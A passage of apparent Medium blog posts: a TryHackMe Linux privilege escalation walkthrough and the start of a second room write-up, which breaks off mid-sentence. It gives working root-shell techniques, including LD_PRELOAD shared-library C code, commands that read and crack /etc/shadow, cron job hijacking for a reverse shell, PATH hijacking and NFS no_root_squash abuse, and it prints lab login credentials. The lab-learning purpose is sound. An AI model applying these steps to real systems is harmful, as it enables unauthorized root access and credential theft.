sometimes be achieved simply by exploiting an existing vulnerability, or in some cases by accessing another user account that has more privileges, information, or access.</p><p>Unless a single vulnerability leads to a root shell, the privilege escalation process will rely on misconfigurations and lax permissions.</p><p>The kernel on Linux systems manages the communication between components such as the memory on the system and applications. This critical function requires the kernel to have specific privileges; thus, a successful exploit will potentially lead to root privileges.</p><p>The Kernel exploit methodology is simple;</p><ol><li>Identify the kernel version</li><li>Search and find an exploit code for the kernel version of the target system</li><li>Run the exploit</li></ol><p>Although it looks simple, please remember that a failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of your penetration testing engagement before attempting a kernel exploit.</p><p><strong>Research sources:</strong></p><ol><li>Based on your findings, you can use Google to search for an existing exploit code.</li><li>Sources such as <a href="https://www.linuxkernelcves.com/cves">https://www.linuxkernelcves.com/cves</a> can also be useful.</li><li>Another alternative would be to use a script like LES (Linux Exploit Suggester) but remember that these tools can generate false positives (report a kernel vulnerability that does not affect the target system) or false negatives (not report any kernel vulnerabilities although the kernel is vulnerable).</li></ol><p><strong>Hints/Notes:</strong></p><ol><li>Being too specific about the kernel version when searching for exploits on Google, Exploit-db, or searchsploit</li><li>Be sure you understand how the exploit code works BEFORE you launch it. Some exploit codes can make changes on the operating system that would make them unsecured in further use or make irreversible changes to the system, creating problems later. Of course, these may not be great concerns within a lab or CTF environment, but these are absolute no-nos during a real penetration testing engagement.</li><li>Some exploits may require further interaction once they are run. Read all comments and instructions provided with the exploit code.</li><li>You can transfer the exploit code from your machine to the target system using the SimpleHTTPServer Python module and wget respectively.</li></ol><p>As explained, there are 3 steps in kernel exploitation.</p><p>1)Find the kernel version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCWtn09ZBwq29fAelUgjjA.png" /></figure><p>2)Find the exploit and understand how to run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*CQ4rneIPk0EhVMzuWDL6Ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPyXN9EGQwQKPrOlEqX4zQ.png" /></figure><p>3)Run the exploit. Since the ID for the exploit is 37292, we just find its path on our attacker machine. (You can download it from ExploitDB, but since we already have it in Kali, we don’t need to do that.) Then we start a Python server and transfer the exploit to the target machine using the wget command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oe0yjUBanOnuBk_fkIBZvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W33BdPCHXnu69hpoKdIGNA.png" /></figure><p>We compile it using the GCC compiler and run it.See, we are root ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DpSMvPDNw6_C4zRWDzuR4g.png" /></figure><p>We use the find command to find the flag&#39;s location and then use cat to read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*6EcmSMvUIZU-HeBq1M_QIQ.png" /></figure><h3>Task 6: Privilege Escalation: Sudo</h3><p>The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges. For example, a junior SOC analyst may need to use Nmap regularly but would not be cleared for full root access. In this situation, the system administrator can allow this user to only run Nmap with root privileges while keeping its regular privilege level throughout the rest of the system.</p><p>Any user can check its current situation related to root privileges using the sudo -l command.</p><p><a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> is a valuable source that provides information on how any program, on which you may have sudo rights, can be used.</p><p><strong>Leverage application functions</strong></p><p>Some applications will not have a known exploit within this context. Such an application you may see is the Apache2 server.</p><p>In this case, we can use a “hack” to leak information leveraging a function of the application. As you can see below, Apache2 has an option that supports loading alternative configuration files (-f : specify an alternate ServerConfigFile).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/0*DJBhuj7utxmVZAfw.png" /></figure><p>Loading the /etc/shadow file using this option will result in an error message that includes the first line of the /etc/shadow file.</p><p><strong>Leverage LD_PRELOAD</strong></p><p>On some systems, you may see the LD_PRELOAD environment option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/0*WSw38JRtWwI7s4Vw.png" /></figure><p>LD_PRELOAD is a function that allows any program to use shared libraries. This <a href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/">blog post</a> will give you an idea about the capabilities of LD_PRELOAD. If the “env_keep” option is enabled we can generate a shared library which will be loaded and executed before the program is run. Please note the LD_PRELOAD option will be ignored if the real user ID is different from the effective user ID.</p><p>The steps of this privilege escalation vector can be summarized as follows;</p><ol><li>Check for LD_PRELOAD (with the env_keep option)</li><li>Write a simple C code compiled as a share object (.so extension) file</li><li>Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file</li></ol><p>The C code will simply spawn a root shell and can be written as follows;</p><p>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;stdlib.h&gt;</p><p>void _init() {<br>unsetenv(“LD_PRELOAD”);<br>setgid(0);<br>setuid(0);<br>system(“/bin/bash”);<br>}</p><p>We can save this code as shell.c and compile it using gcc into a shared object file using the following parameters;</p><p>gcc -fPIC -shared -o shell.so shell.c -nostartfiles</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*JdrP36n8Xv28gEgn.png" /></figure><p>We can now use this shared object file when launching any program our user can run with sudo. In our case, Apache2, find, or almost any of the programs we can run with sudo can be used.</p><p>We need to run the program by specifying the LD_PRELOAD option, as follows;</p><p>sudo LD_PRELOAD=/home/user/ldpreload/shell.so find</p><p>This will result in a shell spawn with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*qW9x-fnWjG9ezQ_s-O_0_A.png" /></figure><blockquote>Task 6(1):sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*SM12pH-ChDBpe5PHplsPIg.png" /></figure><blockquote>Task 6(2): I just used nano for privilege escalation. You can try any of them. Just search <a href="https://gtfobins.github.io/#">GTFOBins</a> for the given commands and follow the instructions there.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dI_Ky5ecd40IIA16wzHKlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*TH1K740w9jdahzLHTt8jEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*jzObE21ZHGyIzwZfgasYSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*VRbKeV_2H2oktn1uJVnkTA.png" /></figure><blockquote>Task 6(3): Go to <a href="https://gtfobins.github.io/#">GTFOBins</a> and search for nmap.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*kYN-QDsqT1WMGOxZg0Lt0g.png" /></figure><blockquote>Task 6(4): cat /etc/shadow</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8VUfqgqHDRa2tEKQ56C2w.png" /></figure><h3>Task 7 : Privilege Escalation: SUID</h3><p>Much of Linux privilege controls rely on controlling the users and files interactions. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.</p><p>You will notice these files have an “s” bit set showing their special permission level.</p><p>find / -type f -perm -04000 -ls 2&gt;/dev/null will list files that have SUID or SGID bits set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/0*4hXRAg9eplQ3nf37.png" /></figure><p>A good practice would be to compare executables on this list with GTFOBins (<a href="https://gtfobins.github.io/">https://gtfobins.github.io</a>). Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered list <a href="https://gtfobins.github.io/#+suid">https://gtfobins.github.io/#+suid</a>).</p><p>The list above shows that nano has the SUID bit set. Unfortunately, GTFObins does not provide us with an easy win. Typical to real-life privilege escalation scenarios, we will need to find intermediate steps that will help us leverage whatever minuscule finding we have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*vjTVa97irPp7nqgJ.png" /></figure><p><strong>Note</strong>: The attached VM has another binary with SUID other than nano.</p><p>The SUID bit set for the nano text editor allows us to create, edit and read files using the file owner’s privilege. Nano is owned by root, which probably means that we can read and edit files at a higher privilege level than our current user has. At this stage, we have two basic options for privilege escalation: reading the /etc/shadow file or adding our user to /etc/passwd.</p><p>Below are simple steps using both vectors.</p><p>reading the /etc/shadow file</p><p>We see that the nano text editor has the SUID bit set by running the find / -type f -perm -04000 -ls 2&gt;/dev/null command.</p><p>nano /etc/shadow will print the contents of the /etc/shadow file. We can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow and /etc/passwd files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/0*kyW8LR_0svFBDO0-.png" /></figure><p>The unshadow tool’s usage can be seen below;<br>unshadow passwd.txt shadow.txt &gt; passwords.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/0*mnBjf7S3SoMRhbIS.png" /></figure><p>With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext. For a more detailed room on John the Ripper, you can visit <a href="https://tryhackme.com/room/johntheripper0">https://tryhackme.com/room/johntheripper0</a></p><p>The other option would be to add a new user that has root privileges. This would help us circumvent the tedious process of password cracking. Below is an easy way to do it:</p><p>We will need the hash value of the password we want the new user to have. This can be done quickly using the openssl tool on Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/0*zsUikatDHr6jzxd7.png" /></figure><p>We will then add this password with a username to the /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*XCAG0Ky85MDiP1NK.png" /></figure><p>Once our user is added (please note how root:/bin/bash was used to provide a root shell) we will need to switch to this user and hopefully should have root privileges.</p><blockquote>Task 7(1):First, search for files with the SUID bit set using the command below:</blockquote><p>find / -perm -u=s 2&gt;/dev/null</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*gkm9CltE3r3rTsMqIMSozA.png" /></figure><p>Go to <a href="https://gtfobins.github.io/#">GTFOBins</a> and search for base64. We can only read files using base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFOKywxtRee5KBbqbwWxVg.png" /></figure><p>So we can read /etc/shadow and /etc/passwd files.</p><p>base64 “/etc/shadow” | base64 — decode</p><p>base64 “/etc/passwd” | base64 — decode</p><p>And copy the result of the above commands to different files on your attacking machine. (You can copy the full content, but I just used the last 4 lines.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3-uTR94cS1DavhpEAVMhg.png" /></figure><p>the name of a great comic book writer:gerryconway</p><blockquote>Task 7(2):Use unshadow to create a crackable file for john, but don&#39;t forget to write passwd file before shadow file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35P8G8oW9WRtMzulX1H4dA.png" /></figure><blockquote>Task 7(3):Again, to read the content of the flag file, use base64.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X-PNXs8dl2ppn7o0T-1qRQ.png" /></figure><h3>Task 8</h3><p>Another method system administrators can use to increase the privilege level of a process or binary is “Capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.<br>The capabilities man page provides detailed information on its usage and options.</p><p>We can use the getcap tool to list enabled capabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QnrCKTSNKwEGUBUE.png" /></figure><p>When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null.</p><p>Please note that neither vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when enumerating files looking for SUID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/0*Otaj_qIobbLoskyy.png" /></figure><p>GTFObins has a good list of binaries that can be leveraged for privilege escalation if we find any set capabilities.</p><p>We notice that vim can be used with the following command and payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KHdBV0DN4rvKuqIf.png" /></figure><p>This will launch a root shell as seen below;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*07TBNdLCHJRT3UrT.png" /></figure><blockquote>Task 8(2,3):Use getcap -r to show us all binaries that have capabilities. After that, we can try both view and vim commands to escalate privileges. Go to <a href="https://gtfobins.github.io/#">GTFOBins</a> and search for capabilities for them.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGM4vFT4GHJ3LT7GxnMcmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dlPkssqWa4gBiWta3RmGOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Ms1MiTS90fFolRuGiRWBw.png" /></figure><blockquote>Task 8(4): Use find to locate the flag.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*9Ms1MiTS90fFolRuGiRWBw.png" /></figure><h3>Task 9: Privilege Escalation: Cron Jobs</h3><p>Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.<br>The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.</p><p>Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.</p><p>Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal will be to find a cron job set by root and have it run our script, ideally a shell.</p><p>Any user can read the file keeping system-wide cron jobs under /etc/crontab</p><p>While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or monthly in penetration test engagements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*N8y5GROWldGslUBT.png" /></figure><p>You can see the backup.sh script was configured to run every minute. The content of the file shows a simple script that creates a backup of the prices.xls file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*HcE3-hlrpnan5FJ4.png" /></figure><p>As our current user can access this script, we can easily modify it to create a reverse shell, hopefully with root privileges.</p><p>The script will use the tools available on the target system to launch a reverse shell.<br>Two points to note;</p><ol><li>The command syntax will vary depending on the available tools. (e.g. nc will probably not support the -e option you may have seen used in other cases)</li><li>We should always prefer to start reverse shells, as we not want to compromise the system integrity during a real penetration testing engagement.</li></ol><p>The file should look like this;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/0*vzKbv3jAqaTQ_xwR.png" /></figure><p>We will now run a listener on our attacking machine to receive the incoming connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*wWHN-dkLWiywnobG.png" /></figure><p>Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:</p><ol><li>System administrators need to run a script at regular intervals.</li><li>They create a cron job to do this</li><li>After a while, the script becomes useless, and they delete it</li><li>They do not clean the relevant cron job</li></ol><p>This change management issue leads to a potential exploit leveraging cron jobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Hbd45HBAnrvMu2ys.png" /></figure><p>The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists.<br>If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, we should be able to create a script named “antivirus.sh” under our user’s home folder and it should be run by the cron job.</p><p>The file on the target system should look familiar:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/0*eHvhjPVKYlSZ-wsB.png" /></figure><p>The incoming reverse shell connection has root privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/0*SX-GlbIJfqLhIgVA.png" /></figure><p>In the odd event you find an existing script or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.</p><blockquote>Task 9(1):We read the content of the /etc/crontab file where cron jobs are written.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UXIHmWRhNQ8Mfg6RVTBPbQ.png" /></figure><blockquote>Task 9(2):Since we have write access to backup.sh and it will be run by root, we can change the content of that file. When it gets executed, it will grant SUID to /bin/bash.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VAPKHJ0yM5ncrvWdwKT_ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wn4LqZ6DJf0ph-Eku1efKw.png" /></figure><p>We get our root shell after setting the SUID bit on /bin/bash by using /bin/bash -p command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PAcc-PmSlz3vlwrbuHBi_w.png" /></figure><blockquote>Task 9(3):Again, we need to crack the hash ,so we use unshadow and john as explained in task 7.</blockquote><p>cat /etc/passwd -on target system</p><p>cat /etc/shadow -on target system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l_TxguaYvn8pNlcmpYFkZQ.png" /></figure><h3>Task 10: Privilege Escalation: PATH</h3><p>If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. (PATH is the environmental variable we’re talking about here, path is the location of a file).</p><p>Typically the PATH will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*YdHc6fYmDK59oj_2.png" /></figure><p>If we type “thm” to the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.</p><ol><li>What folders are located under $PATH</li><li>Does your current user have write privileges for any of these folders?</li><li>Can you modify $PATH?</li><li>Is there a script/application you can start that will be affected by this vulnerability?</li></ol><p>For demo purposes, we will use the script below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/0*ZvFiwL0nJCk9baQJ.png" /></figure><p>This script tries to launch a system binary called “thm” but the example can easily be replicated with any binary.</p><p>We compile this into an executable and set the SUID bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*54m06-A22gek0zTC.png" /></figure><p>Our user now has access to the “path” script with SUID bit set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*uck-T6jY90HyNzck.png" /></figure><p>Once executed “path” will look for an executable named “thm” inside folders listed under PATH.</p><p>If any writable folder is listed under PATH we could create a binary named thm under that directory and have our “path” script run it. As the SUID bit is set, this binary will run with root privilege</p><p>A simple search for writable folders can done using the “find / -writable 2&gt;/dev/null” command. The output of this command can be cleaned using a simple cut and sort sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/0*q41HFQaE9oXAgPMb.png" /></figure><p>Some CTF scenarios can present different folders but a regular system would output something like we see above.</p><p>Comparing this with PATH will help us find folders we could use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/0*SnI6e99kothGRNT-.png" /></figure><p>We see a number of folders under /usr, thus it could be easier to run our writable folder search once more to cover subfolders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u5NMBqfjrTpLl-FL.png" /></figure><p>An alternative could be the command below.</p><p>find / -writable 2&gt;/dev/null | cut -d &quot;/&quot; -f 2,3 | grep -v proc | sort -u</p><p>We have added “grep -v proc” to get rid of the many results related to running processes.</p><p>Unfortunately, subfolders under /usr are not writable</p><p>The folder that will be easier to write to is probably /tmp. At this point because /tmp is not present in PATH so we will need to add it. As we can see below, the “export PATH=/tmp:$PATH” command accomplishes this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YTgV7llnfMo9_GeG.png" /></figure><p>At this point the path script will also look under the /tmp folder for an executable named “thm”.</p><p>Creating this command is fairly easy by copying /bin/bash as “thm” under the /tmp folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/0*IyRcIR_d9Ftu0aVT.png" /></figure><p>We have given executable rights to our copy of /bin/bash, please note that at this point it will run with our user’s right. What makes a privilege escalation possible within this context is that the path script runs with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xhDFZc2sK_pnY6Zc.png" /></figure><blockquote>Task 10(1):writable folders</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*VYg2GxKNQUe5bKrquZwttA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*_nU1q-VjkXaJmldotLcL6Q.png" /></figure><p>And we see that one of the files in that directory has the SUID bit set. When I run that test file, I see the error ‘thm not found’. By examining the content of the thm.py file, we see that the &#39;thm&#39; command is used without its full path specified. This allows us to potentially escalate our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*KqFLLo_i0Bp_fSlqs2oMtA.png" /></figure><p>We just create a new thm file in /tmp (which is a world-writable folder).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*c5YmGZz4eDCPZfYzSA1JHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*rsB_iDNCHzJVcKMoGN3lOA.png" /></figure><blockquote>Task 10(2):Change the PATH variable so that when that script is executed, it will search the /tmp directory for the thm file. Also don`t forget to change the thm file&#39;s permissions and then run the script named test.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*Fy1UJMqcLOu0G21OItEwvw.png" /></figure><blockquote>Task 10(3): Flag</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*0O0V9tMC1jsk28w79jTF5w.png" /></figure><h3>Task 11: Privilege Escalation: NFS</h3><p>Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g. finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.</p><p>Another vector that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.</p><p>NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*Yq_qmSIAZCsgCq1Y.png" /></figure><p>The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.</p><p>We will start by enumerating mountable shares from our attacking machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/0*lS-HbvT7cNqR2xZf.png" /></figure><p>We will mount one of the “no_root_squash” shares to our attacking machine and start building our executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/0*fERGMUKITa1oVAQI.png" /></figure><p>As we can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/0*4bmr4FZLjRkhcLbN.png" /></figure><p>Once we compile the code we will set the SUID bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*DAAooQPOX53vaXqq.png" /></figure><p>You will see below that both files (nfs.c and nfs are present on the target system. We have worked on the mounted share so there was no need to transfer them).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6A_L89ZH0BSY9mvA.png" /></figure><p>Notice the nfs executable has the SUID bit set on the target system and runs with root privileges.</p><blockquote>Task 11(1):By using “cat /etc/exports” command we find that there are 3 mountable shares.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*ThBfP_MJHQbJbERNFk3PIw.png" /></figure><blockquote>Task 11(2):All three mountable shares have the ‘no_root_squash’ option enabled</blockquote><blockquote>Task 11(3):First, create a mount point on your attacking machine and mount that share to your machine. Copy /bin/bash to that mountable share on target system. On the attacker machine, change its owner and give it SUID permissions. Then, on the target system, verify that /bin/bash has SUID permissions set. Finally, run &quot;/bin/bash -p&quot; to obtain a root shell.&quot;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*rt7vfZEHC1FlSeSHRkhRAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2WRA2CDei5l-QchkVhneWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtqBHV0mRxhMBBC9uDOdyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngsl9u5M5Nmwaw3SuLIc2g.png" /></figure><blockquote>Task 11(4): Flag</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhGFCuWlfpM4DyRbvXzzHg.png" /></figure><h3>Task 12: Capstone Challenge</h3><p>By now you have a fairly good understanding of the main privilege escalation vectors on Linux and this challenge should be fairly easy.</p><p>You have gained SSH access to a large scientific facility. Try to elevate your privileges until you are Root.<br>We designed this room to help you build a thorough methodology for Linux privilege escalation that will be very useful in exams such as OSCP and your penetration testing engagements.</p><p>Leave no privilege escalation vector unexplored, privilege escalation is often more an art than a science.</p><p>You can access the target machine over your browser or use the SSH credentials below.</p><ul><li>Username: leonard</li><li>Password: Penny123</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*CO8jVV83xlzxwbfor68BPQ.png" /></figure><blockquote>I used sudo -l to check privileges, but i saw that we didn&#39;t have any sudo permissions.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OrWzD8p-RmAPzYkrb1lXYw.png" /></figure><blockquote>Then i tried finding suid files, and it gave me the result.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RnTo98d1kQhz32ZqGjxnKA.png" /></figure><blockquote>I used base64 to read passwd and shadow files.</blockquote><blockquote>base64 “/etc/passwd” | base64 -d</blockquote><blockquote>base64 “/etc/shadow” | base64 -d</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S8Mpt8kCBCEkN3iLlp3xhg.png" /></figure><blockquote>I cracked the hash by using john.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJce_AVjNJ7-i1Ccm_Qk4Q.png" /></figure><blockquote>By using the credentials i found, just switched to the new user.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fAGHKrT6Gv6UADfnq9LjUw.png" /></figure><blockquote>First flag</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GmrwrLwBtbFwMKdRlHy5LA.png" /></figure><blockquote>Again i used sudo -l ,but this time i see that we can use find command as a root user.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4E2SF1lPi46JfhGLITPT0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EsTQv_-HDd3hQTw7g7Qbzg.png" /></figure><blockquote>Second flag</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bHfEzGlDLk9YOE2N74ebCA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15271966d126" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe:Common Linux Privesc]]></title>
            <link>https://medium.com/@esm1ra.farziyeva/tryhackme-common-linux-privesc-9c6cb9e18102?source=rss-da2762993009------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c6cb9e18102</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[passwd]]></category>
            <category><![CDATA[suid]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[sudo]]></category>
            <dc:creator><![CDATA[Esmira Farziyeva]]></dc:creator>
            <pubDate>Sun, 23 Jun 2024 14:30:52 GMT</pubDate>
            <atom:updated>2024-06-23T14:30:52.165Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,everyone!Today we are going to solve the room <a href="https://tryhackme.com/r/room/commonlinuxprivesc">“Common Linux Privesc”</a>. Let`s start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*kiYXDP9EfmDMAl1M0Ud1IQ.png" /></figure><h3>Task 1: Get Connected</h3><p>This room will explore common Linux Privilege Escalation vulnerabilities and techniques, but in order to do that, we’ll need to do a few things first!</p><ol><li>Deploy the machine</li><li>Connect to the TryHackMe OpenVPN Server (See <a href="https://tryhackme.com/access">https://tryhackme.com/access</a> for help!) or deploy the AttackBox</li></ol><h3>Task 2: Understanding Privesc</h3><p><strong>What does “privilege escalation” mean?</strong></p><p>At it’s core, Privilege Escalation usually involves going from a lower permission to a higher permission. More technically, it’s the exploitation of a vulnerability, design flaw or configuration oversight in an operating system or application to gain unauthorized access to resources that are usually restricted from the users.</p><p><strong>Why is it important?</strong></p><p>Rarely when doing a CTF or real-world penetration test, will you be able to gain a foothold (initial access) that affords you administrator access. Privilege escalation is crucial, because it lets you gain system administrator levels of access. This allow you to do many things, including:</p><ul><li>Reset passwords</li><li>Bypass access controls to compromise protected data</li><li>Edit software configurations</li><li>Enable persistence, so you can access the machine again later.</li><li>Change privilege of users</li><li>Get that cheeky root flag ;)</li></ul><p>As well as any other administrator or super user commands that you desire.</p><h3>Task 3: Direction of Privilege Escalation</h3><p><strong>Privilege Tree:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/0*TLENUJD4Pe3QszTo" /></figure><p><strong>There are 